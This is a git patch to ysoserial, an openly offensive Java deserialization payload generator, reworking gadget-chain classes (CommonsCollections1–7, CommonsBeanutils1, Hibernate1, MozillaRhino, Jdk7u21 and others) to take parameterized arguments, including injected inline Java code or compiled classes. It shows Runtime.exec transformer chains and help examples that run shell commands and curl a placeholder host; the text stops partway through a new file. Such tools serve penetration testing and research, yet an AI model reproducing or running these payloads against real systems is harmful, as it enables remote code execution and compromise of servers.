From 314bb4c37c80e931f62e5e3bbf4195ef755b98a0 Mon Sep 17 00:00:00 2001 From: ca-syn <84011044+cas1n@users.noreply.github.com> Date: Tue, 30 Jan 2024 17:15:39 +0100 Subject: [PATCH 1/3] Add parameterized payloads * Add supplementary arguments for internal translet based payloads * Add supplementary arguments for Transformer payloads * Make CommonsBeanutils1 silent using NullComparator --- pom.xml | 7 +- src/main/java/ysoserial/GeneratePayload.java | 45 +++- src/main/java/ysoserial/Strings.java | 17 ++ src/main/java/ysoserial/payloads/Click1.java | 7 +- .../ysoserial/payloads/CommonsBeanutils1.java | 17 +- .../payloads/CommonsCollections1.java | 19 +- .../payloads/CommonsCollections2.java | 6 +- .../payloads/CommonsCollections3.java | 14 +- .../payloads/CommonsCollections4.java | 8 +- .../payloads/CommonsCollections5.java | 18 +- .../payloads/CommonsCollections6.java | 21 +- .../payloads/CommonsCollections7.java | 23 +- src/main/java/ysoserial/payloads/Groovy1.java | 2 +- .../java/ysoserial/payloads/Hibernate1.java | 11 +- .../payloads/JBossInterceptors1.java | 13 +- src/main/java/ysoserial/payloads/JSON1.java | 7 +- .../ysoserial/payloads/JavassistWeld1.java | 13 +- src/main/java/ysoserial/payloads/Jdk7u21.java | 7 +- .../ysoserial/payloads/MozillaRhino1.java | 8 +- .../ysoserial/payloads/MozillaRhino2.java | 7 +- .../payloads/ParameterizedObjectPayload.java | 38 +++ ...arameterizedTransformersObjectPayload.java | 216 ++++++++++++++++++ .../ParameterizedTransletObjectPayload.java | 154 +++++++++++++ src/main/java/ysoserial/payloads/ROME.java | 8 +- src/main/java/ysoserial/payloads/Spring1.java | 11 +- src/main/java/ysoserial/payloads/Spring2.java | 8 +- src/main/java/ysoserial/payloads/Vaadin1.java | 19 +- .../java/ysoserial/payloads/util/Gadgets.java | 114 +++++++-- 28 files changed, 666 insertions(+), 172 deletions(-) create mode 100644 src/main/java/ysoserial/payloads/ParameterizedObjectPayload.java create mode 100644 src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java create mode 100644 src/main/java/ysoserial/payloads/ParameterizedTransletObjectPayload.java diff --git a/pom.xml b/pom.xml index 69bb2a5f..7833b849 100644 --- a/pom.xml +++ b/pom.xml @@ -177,6 +177,11 @@ remoting-jmx 2.0.1.Final + + commons-cli + commons-cli + 1.6.0 + @@ -444,5 +449,5 @@ GitHub Packages https://maven.pkg.github.com/frohoff/ysoserial - + diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 88776f34..ca9f7403 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -3,8 +3,10 @@ import java.io.PrintStream; import java.util.*; +import org.apache.commons.cli.ParseException; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.ParameterizedObjectPayload; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; @@ -14,12 +16,12 @@ public class GeneratePayload { private static final int USAGE_CODE = 64; public static void main(final String[] args) { - if (args.length != 2) { + if (args.length == 0) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; - final String command = args[1]; + final String[] payloadArgs = Arrays.copyOfRange(args, 1, args.length); final Class payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { @@ -31,7 +33,42 @@ public static void main(final String[] args) { try { final ObjectPayload payload = payloadClass.newInstance(); - final Object object = payload.getObject(command); + if(payloadArgs.length == 0) { + if (payload instanceof ParameterizedObjectPayload) { + System.err.println(((ParameterizedObjectPayload) payload).getHelp()); + } else { + System.err.println("Usage: java -jar ysoserial-[version]-all.jar "+ payloadType +" '[command]'"); + } + System.exit(USAGE_CODE); + return; + } + final Object object; + if (payload instanceof ParameterizedObjectPayload) { + ParameterizedObjectPayload parameterizedPayload = (ParameterizedObjectPayload)payload; + try { + object = parameterizedPayload.getObject(payloadArgs); + } catch (ParseException e) { + System.err.println("Error: " + e.getMessage()); + System.err.println(parameterizedPayload.getHelp()); + System.exit(USAGE_CODE); + return; + } catch (IllegalArgumentException e) { + if (e.getMessage() != null) { + System.err.println("Error: " + e.getMessage()); + } + System.err.println(parameterizedPayload.getHelp()); + System.exit(USAGE_CODE); + return; + } + } else { + if (payloadArgs.length > 1) { + System.err.println("Error: the payload '" + payloadType + "' does not support multiple arguments"); + printUsage(); + System.exit(USAGE_CODE); + return; + } + object = payload.getObject(payloadArgs[0]); + } PrintStream out = System.out; Serializer.serialize(object, out); ObjectPayload.Utils.releasePayload(payload, object); @@ -45,7 +82,7 @@ public static void main(final String[] args) { private static void printUsage() { System.err.println("Y SO SERIAL?"); - System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] [arguments ...]"); System.err.println(" Available payload types:"); final List> payloadClasses = diff --git a/src/main/java/ysoserial/Strings.java b/src/main/java/ysoserial/Strings.java index 84c21971..1289d5e6 100644 --- a/src/main/java/ysoserial/Strings.java +++ b/src/main/java/ysoserial/Strings.java @@ -21,6 +21,10 @@ public static String join(Iterable strings, String sep, String prefix, S return sb.toString(); } + public static String join(Iterable strings, String sep) { + return Strings.join(strings, sep, null, null); + } + public static String repeat(String str, int num) { final String[] strs = new String[num]; Arrays.fill(strs, str); @@ -49,6 +53,19 @@ public static List formatTable(List rows) { return lines; } + public static String escapeJavaString(String str) { + return str.replace("\\", "\\\\") + .replace("\"", "\\\""); + } + + public static String[] escapeJavaStrings(String[] strs) { + String[] res = new String[strs.length]; + for(int i = 0; i < res.length; ++i) { + res[i] = escapeJavaString(strs[i]); + } + return res; + } + public static class ToStringComparator implements Comparator { public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } } diff --git a/src/main/java/ysoserial/payloads/Click1.java b/src/main/java/ysoserial/payloads/Click1.java index ad4e4986..4eb4d962 100755 --- a/src/main/java/ysoserial/payloads/Click1.java +++ b/src/main/java/ysoserial/payloads/Click1.java @@ -47,9 +47,10 @@ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) @Authors({ Authors.ARTSPLOIT }) -public class Click1 implements ObjectPayload { +public class Click1 extends ParameterizedTransletObjectPayload { - public Object getObject(final String command) throws Exception { + @Override + protected Object getObject(Object templates) throws Exception { // prepare a Column.comparator with mock values final Column column = new Column("lowestSetBit"); @@ -69,7 +70,6 @@ public Object getObject(final String command) throws Exception { // finally, we inject and new TemplatesImpl object into the queue, // so its getOutputProperties() method will be called final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); - final Object templates = Gadgets.createTemplatesImpl(command); queueArray[0] = templates; return queue; @@ -78,4 +78,5 @@ public Object getObject(final String command) throws Exception { public static void main(final String[] args) throws Exception { PayloadRunner.run(Click1.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutils1.java b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java index 2495be77..24a3043c 100755 --- a/src/main/java/ysoserial/payloads/CommonsBeanutils1.java +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils1.java @@ -1,25 +1,32 @@ package ysoserial.payloads; +import java.lang.reflect.Constructor; import java.math.BigInteger; +import java.util.Comparator; import java.util.PriorityQueue; import org.apache.commons.beanutils.BeanComparator; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; -import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({ Authors.FROHOFF }) -public class CommonsBeanutils1 implements ObjectPayload { +public class CommonsBeanutils1 extends ParameterizedTransletObjectPayload { + + protected Object getObject(final Object templates) throws Exception { + //NullComparator implements Comparator and Serializable + Constructor nullComparatorConstructor = Reflections + .getFirstCtor("java.util.Comparators$NullComparator"); + Comparator nullComparator = (Comparator) nullComparatorConstructor + .newInstance(true, null); - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed - final BeanComparator comparator = new BeanComparator("lowestSetBit"); + final BeanComparator comparator = new BeanComparator("lowestSetBit", + nullComparator); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java index 6f225948..e9d2e822 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections1.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -44,25 +44,13 @@ @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) -public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { +public class CommonsCollections1 extends ParameterizedTransformersObjectPayload { - public InvocationHandler getObject(final String command) throws Exception { - final String[] execArgs = new String[] { command }; + @Override + protected InvocationHandler getObject(Transformer[] transformers) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); - // real chain for after setup - final Transformer[] transformers = new Transformer[] { - new ConstantTransformer(Runtime.class), - new InvokerTransformer("getMethod", new Class[] { - String.class, Class[].class }, new Object[] { - "getRuntime", new Class[0] }), - new InvokerTransformer("invoke", new Class[] { - Object.class, Object[].class }, new Object[] { - null, new Object[0] }), - new InvokerTransformer("exec", - new Class[] { String.class }, execArgs), - new ConstantTransformer(1) }; final Map innerMap = new HashMap(); @@ -84,4 +72,5 @@ public static void main(final String[] args) throws Exception { public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } + } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java index 7df52880..68cac783 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections2.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -27,10 +27,10 @@ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) @Authors({ Authors.FROHOFF }) -public class CommonsCollections2 implements ObjectPayload> { +public class CommonsCollections2 extends ParameterizedTransletObjectPayload> { - public Queue getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); + @Override + protected Queue getObject(Object templates) throws Exception { // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections3.java b/src/main/java/ysoserial/payloads/CommonsCollections3.java index d780caae..f8dc73cd 100755 --- a/src/main/java/ysoserial/payloads/CommonsCollections3.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections3.java @@ -30,11 +30,10 @@ @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) -public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - Object templatesImpl = Gadgets.createTemplatesImpl(command); +public class CommonsCollections3 extends ParameterizedTransletObjectPayload { + @Override + protected Object getObject(Object templates) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); @@ -43,7 +42,7 @@ public Object getObject(final String command) throws Exception { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, - new Object[] { templatesImpl } )}; + new Object[] { templates } )}; final Map innerMap = new HashMap(); @@ -63,6 +62,7 @@ public static void main(final String[] args) throws Exception { } public static boolean isApplicableJavaVersion() { - return JavaVersion.isAnnInvHUniversalMethodImpl(); - } + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections4.java b/src/main/java/ysoserial/payloads/CommonsCollections4.java index 97a763cd..40e2d8a5 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections4.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections4.java @@ -26,11 +26,10 @@ @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) @Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({ Authors.FROHOFF }) -public class CommonsCollections4 implements ObjectPayload> { - - public Queue getObject(final String command) throws Exception { - Object templates = Gadgets.createTemplatesImpl(command); +public class CommonsCollections4 extends ParameterizedTransletObjectPayload> { + @Override + protected Queue getObject(Object templates) throws Exception { ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed @@ -61,4 +60,5 @@ public Queue getObject(final String command) throws Exception { public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections4.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections5.java b/src/main/java/ysoserial/payloads/CommonsCollections5.java index 78c83ecc..c65bfd37 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections5.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections5.java @@ -52,25 +52,13 @@ @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) -public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { +public class CommonsCollections5 extends ParameterizedTransformersObjectPayload { - public BadAttributeValueExpException getObject(final String command) throws Exception { - final String[] execArgs = new String[] { command }; + @Override + protected BadAttributeValueExpException getObject(Transformer[] transformers) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); - // real chain for after setup - final Transformer[] transformers = new Transformer[] { - new ConstantTransformer(Runtime.class), - new InvokerTransformer("getMethod", new Class[] { - String.class, Class[].class }, new Object[] { - "getRuntime", new Class[0] }), - new InvokerTransformer("invoke", new Class[] { - Object.class, Object[].class }, new Object[] { - null, new Object[0] }), - new InvokerTransformer("exec", - new Class[] { String.class }, execArgs), - new ConstantTransformer(1) }; final Map innerMap = new HashMap(); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections6.java b/src/main/java/ysoserial/payloads/CommonsCollections6.java index dcc3ed65..2a8b7e58 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections6.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections6.java @@ -36,24 +36,10 @@ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.MATTHIASKAISER }) -public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { - - public Serializable getObject(final String command) throws Exception { - - final String[] execArgs = new String[] { command }; - - final Transformer[] transformers = new Transformer[] { - new ConstantTransformer(Runtime.class), - new InvokerTransformer("getMethod", new Class[] { - String.class, Class[].class }, new Object[] { - "getRuntime", new Class[0] }), - new InvokerTransformer("invoke", new Class[] { - Object.class, Object[].class }, new Object[] { - null, new Object[0] }), - new InvokerTransformer("exec", - new Class[] { String.class }, execArgs), - new ConstantTransformer(1) }; +public class CommonsCollections6 extends ParameterizedTransformersObjectPayload { + @Override + protected Serializable getObject(Transformer[] transformers) throws Exception { Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); @@ -106,4 +92,5 @@ public Serializable getObject(final String command) throws Exception { public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections6.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections7.java b/src/main/java/ysoserial/payloads/CommonsCollections7.java index dd1cd689..6d368309 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections7.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections7.java @@ -36,28 +36,12 @@ @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) -public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { - - public Hashtable getObject(final String command) throws Exception { - - // Reusing transformer chain and LazyMap gadgets from previous payloads - final String[] execArgs = new String[]{command}; +public class CommonsCollections7 extends ParameterizedTransformersObjectPayload { + @Override + protected Hashtable getObject(Transformer[] transformers) throws Exception { final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); - final Transformer[] transformers = new Transformer[]{ - new ConstantTransformer(Runtime.class), - new InvokerTransformer("getMethod", - new Class[]{String.class, Class[].class}, - new Object[]{"getRuntime", new Class[0]}), - new InvokerTransformer("invoke", - new Class[]{Object.class, Object[].class}, - new Object[]{null, new Object[0]}), - new InvokerTransformer("exec", - new Class[]{String.class}, - execArgs), - new ConstantTransformer(1)}; - Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); @@ -84,4 +68,5 @@ public Hashtable getObject(final String command) throws Exception { public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections7.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/Groovy1.java b/src/main/java/ysoserial/payloads/Groovy1.java index 5e1832a0..2f8051e7 100644 --- a/src/main/java/ysoserial/payloads/Groovy1.java +++ b/src/main/java/ysoserial/payloads/Groovy1.java @@ -19,7 +19,7 @@ ConvertedClosure.invoke() MethodClosure.call() ... - Method.invoke() + Method.invoke() Runtime.exec() Requires: diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index 0c644143..037a1c12 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -43,7 +43,7 @@ */ @Authors({ Authors.MBECHLER }) @PayloadTest(precondition = "isApplicableJavaVersion") -public class Hibernate1 implements ObjectPayload, DynamicDependencies { +public class Hibernate1 extends ParameterizedTransletObjectPayload implements DynamicDependencies { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } @@ -105,10 +105,10 @@ public static Object makeHibernate5Getter ( Class tplClass, String method ) t } - public Object getObject ( String command ) throws Exception { - Object tpl = Gadgets.createTemplatesImpl(command); - Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); - return makeCaller(tpl, getters); + @Override + protected Object getObject(Object templates) throws Exception { + Object getters = makeGetter(templates.getClass(), "getOutputProperties"); + return makeCaller(templates, getters); } @@ -182,4 +182,5 @@ static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchM public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Hibernate1.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java index 886f5586..adb6d049 100644 --- a/src/main/java/ysoserial/payloads/JBossInterceptors1.java +++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java @@ -34,15 +34,13 @@ "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) -public class JBossInterceptors1 implements ObjectPayload { +public class JBossInterceptors1 extends ParameterizedTransletObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } - public Object getObject(final String command) throws Exception { - - final Object gadget = Gadgets.createTemplatesImpl(command); - + @Override + protected Object getObject(final Object templates) throws Exception { InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); @@ -72,10 +70,8 @@ public Object getObject(final String command) throws Exception { DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { - public Object createFor(InterceptorReference paramInterceptorReference) { - - return gadget; + return templates; } }; @@ -87,4 +83,5 @@ public Object createFor(InterceptorReference paramInterceptorReference) { public static void main(final String[] args) throws Exception { PayloadRunner.run(JBossInterceptors1.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java index 5d144b9f..4ab8cf23 100644 --- a/src/main/java/ysoserial/payloads/JSON1.java +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -65,10 +65,11 @@ "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" }) @Authors({ Authors.MBECHLER }) -public class JSON1 implements ObjectPayload { +public class JSON1 extends ParameterizedTransletObjectPayload { - public Map getObject ( String command ) throws Exception { - return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); + @Override + protected Object getObject(Object templates) throws Exception { + return makeCallerChain(templates, Templates.class); } diff --git a/src/main/java/ysoserial/payloads/JavassistWeld1.java b/src/main/java/ysoserial/payloads/JavassistWeld1.java index a36e69ee..534998e9 100644 --- a/src/main/java/ysoserial/payloads/JavassistWeld1.java +++ b/src/main/java/ysoserial/payloads/JavassistWeld1.java @@ -34,15 +34,13 @@ "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" }) @Authors({ Authors.MATTHIASKAISER }) -public class JavassistWeld1 implements ObjectPayload { +public class JavassistWeld1 extends ParameterizedTransletObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } - public Object getObject(final String command) throws Exception { - - final Object gadget = Gadgets.createTemplatesImpl(command); - + @Override + protected Object getObject(final Object templates) throws Exception { InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); @@ -72,10 +70,8 @@ public Object getObject(final String command) throws Exception { DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { - public Object createFor(InterceptorReference paramInterceptorReference) { - - return gadget; + return templates; } }; @@ -87,4 +83,5 @@ public Object createFor(InterceptorReference paramInterceptorReference) { public static void main(final String[] args) throws Exception { PayloadRunner.run(JavassistWeld1.class, args); } + } diff --git a/src/main/java/ysoserial/payloads/Jdk7u21.java b/src/main/java/ysoserial/payloads/Jdk7u21.java index 35d25b61..7a2aa7f4 100755 --- a/src/main/java/ysoserial/payloads/Jdk7u21.java +++ b/src/main/java/ysoserial/payloads/Jdk7u21.java @@ -57,11 +57,10 @@ @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies() @Authors({ Authors.FROHOFF }) -public class Jdk7u21 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); +public class Jdk7u21 extends ParameterizedTransletObjectPayload { + @Override + protected Object getObject(Object templates) throws Exception { String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); diff --git a/src/main/java/ysoserial/payloads/MozillaRhino1.java b/src/main/java/ysoserial/payloads/MozillaRhino1.java index b0cddff3..18ccd6b0 100644 --- a/src/main/java/ysoserial/payloads/MozillaRhino1.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino1.java @@ -22,10 +22,10 @@ @PayloadTest( precondition = "isApplicableJavaVersion") @Dependencies({"rhino:js:1.7R2"}) @Authors({ Authors.MATTHIASKAISER }) -public class MozillaRhino1 implements ObjectPayload { - - public Object getObject(final String command) throws Exception { +public class MozillaRhino1 extends ParameterizedTransletObjectPayload { + @Override + protected Object getObject(final Object templates) throws Exception { Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); Reflections.setAccessible(nativeErrorConstructor); @@ -55,7 +55,7 @@ public Object getObject(final String command) throws Exception { Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); getter.set(slot, memberboxes); - NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject,templates, TemplatesImpl.class); idScriptableObject.setPrototype(nativeObject); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); diff --git a/src/main/java/ysoserial/payloads/MozillaRhino2.java b/src/main/java/ysoserial/payloads/MozillaRhino2.java index 4ba13668..0cd2e804 100644 --- a/src/main/java/ysoserial/payloads/MozillaRhino2.java +++ b/src/main/java/ysoserial/payloads/MozillaRhino2.java @@ -49,9 +49,10 @@ @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"rhino:js:1.7R2"}) @Authors({ Authors.TINT0 }) -public class MozillaRhino2 implements ObjectPayload { +public class MozillaRhino2 extends ParameterizedTransletObjectPayload { - public Object getObject( String command) throws Exception { + @Override + protected Object getObject(final Object templates) throws Exception { ScriptableObject dummyScope = new Environment(); Map associatedValues = new Hashtable(); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); @@ -82,7 +83,7 @@ public Object getObject( String command) throws Exception { NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); - Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command)); + Reflections.setFieldValue(nativeJavaArray, "javaObject", templates); nativeJavaArray.setPrototype(scriptableObject); Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); diff --git a/src/main/java/ysoserial/payloads/ParameterizedObjectPayload.java b/src/main/java/ysoserial/payloads/ParameterizedObjectPayload.java new file mode 100644 index 00000000..be96b98c --- /dev/null +++ b/src/main/java/ysoserial/payloads/ParameterizedObjectPayload.java @@ -0,0 +1,38 @@ +package ysoserial.payloads; + + +import java.util.LinkedList; +import java.util.List; +import java.util.StringTokenizer; + +public abstract class ParameterizedObjectPayload implements ObjectPayload { + /** + * Displays specific help + * + * @return help to be displayed in console + */ + abstract public String getHelp(); + + /*** + * New parameterized chain + * @param args arguments to pass to the gadget + * @return generated gadget chain + * @throws Exception if error occurs + */ + abstract public T getObject(String[] args) throws Exception; + + /** + * Method to keep backward compatibility with ObjectPayload + * mainly used to call java.lang.Runtime.exec(String) + */ + @Override + public T getObject(String command) throws Exception { + final StringTokenizer tokenizer = new StringTokenizer(command); + final List commandTokenized = new LinkedList(); + while (tokenizer.hasMoreTokens()) { + commandTokenized.add(tokenizer.nextToken()); + } + final String[] commandTokenizedArray = commandTokenized.toArray(new String[0]); + return this.getObject(commandTokenizedArray); + } +} diff --git a/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java b/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java new file mode 100644 index 00000000..4a146162 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ParameterizedTransformersObjectPayload.java @@ -0,0 +1,216 @@ +package ysoserial.payloads; + + +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.cli.*; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ClosureTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.functors.TransformerClosure; +import ysoserial.Strings; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.util.Gadgets; + +import java.io.*; +import java.util.Arrays; + +public abstract class ParameterizedTransformersObjectPayload extends ParameterizedObjectPayload { + private static final Options CLI_OPTIONS = new Options() + .addOption(Option.builder() + .argName("sleep") + .longOpt("sleep") + .desc("Generates a Thread.sleep gadget payload") + .build()) + .addOption(Option.builder() + .argName("sleep-delay") + .longOpt("sleep-delay") + .hasArg() + .desc("Sleep delay in milliseconds for the Thread.sleep gadget payload (defaults to 10 seconds)") + .build()) + .addOption(Option.builder() + .argName("single") + .longOpt("single") + .hasArg() + .desc("Provides a single command argument (old behavior)") + .build()) + .addOption(Option.builder() + .argName("inline") + .longOpt("inline") + .hasArg() + .desc("Java code block to inject inside the gadget chain") + .build()) + .addOption(Option.builder() + .argName("inline-file") + .longOpt("inline-file") + .hasArg() + .desc("Path to file that contains the Java code block to inject inside the gadget chain") + .build()) + .addOption(Option.builder() + .argName("class-file") + .longOpt("class-file") + .hasArg() + .desc("Path to the pre-compiled class to inject inside the gadget chain. Do not forget to add a static block initializer. The class name will be randomized") + .build()) + .addOption(Option.builder() + .argName("help") + .longOpt("help") + .desc("Print this message") + .build()); + + @Override + public String getHelp() { + String header = "Payload based on commons-collections:3 Transformer chains\r\narguments:"; + if(this.getClass().getAnnotation(Authors.class) != null) { + header = "author(s): " + Strings.join( + Arrays.asList(this.getClass().getAnnotation(Authors.class).value()), + ", " + ) + "\r\n" + header; + } + + String examples = "examples: \r\n" + + this.getClass().getSimpleName() + " -- /bin/sh -c 'id>/tmp/result.txt'\r\n" + + this.getClass().getSimpleName() + " -- cmd.exe /c whoami\r\n" + + this.getClass().getSimpleName() + " --single 'curl hxxp://foo.bar'\r\n" + + this.getClass().getSimpleName() + " --sleep --sleep-delay 15000\r\n" + + this.getClass().getSimpleName() + " --inline 'System.out.println(\"Hello world\");'"; + + HelpFormatter formatter = new HelpFormatter(); + StringWriter sw = new StringWriter(); + formatter.printHelp(new PrintWriter(sw), 120, + this.getClass().getSimpleName() + " [flags] -- [arguments ...]", header, + CLI_OPTIONS, formatter.getLeftPadding(), formatter.getDescPadding(), examples, + false); + return sw.toString(); + } + + private byte[] compileClass(String inlineCode) throws CannotCompileException, IOException { + ClassPool pool = 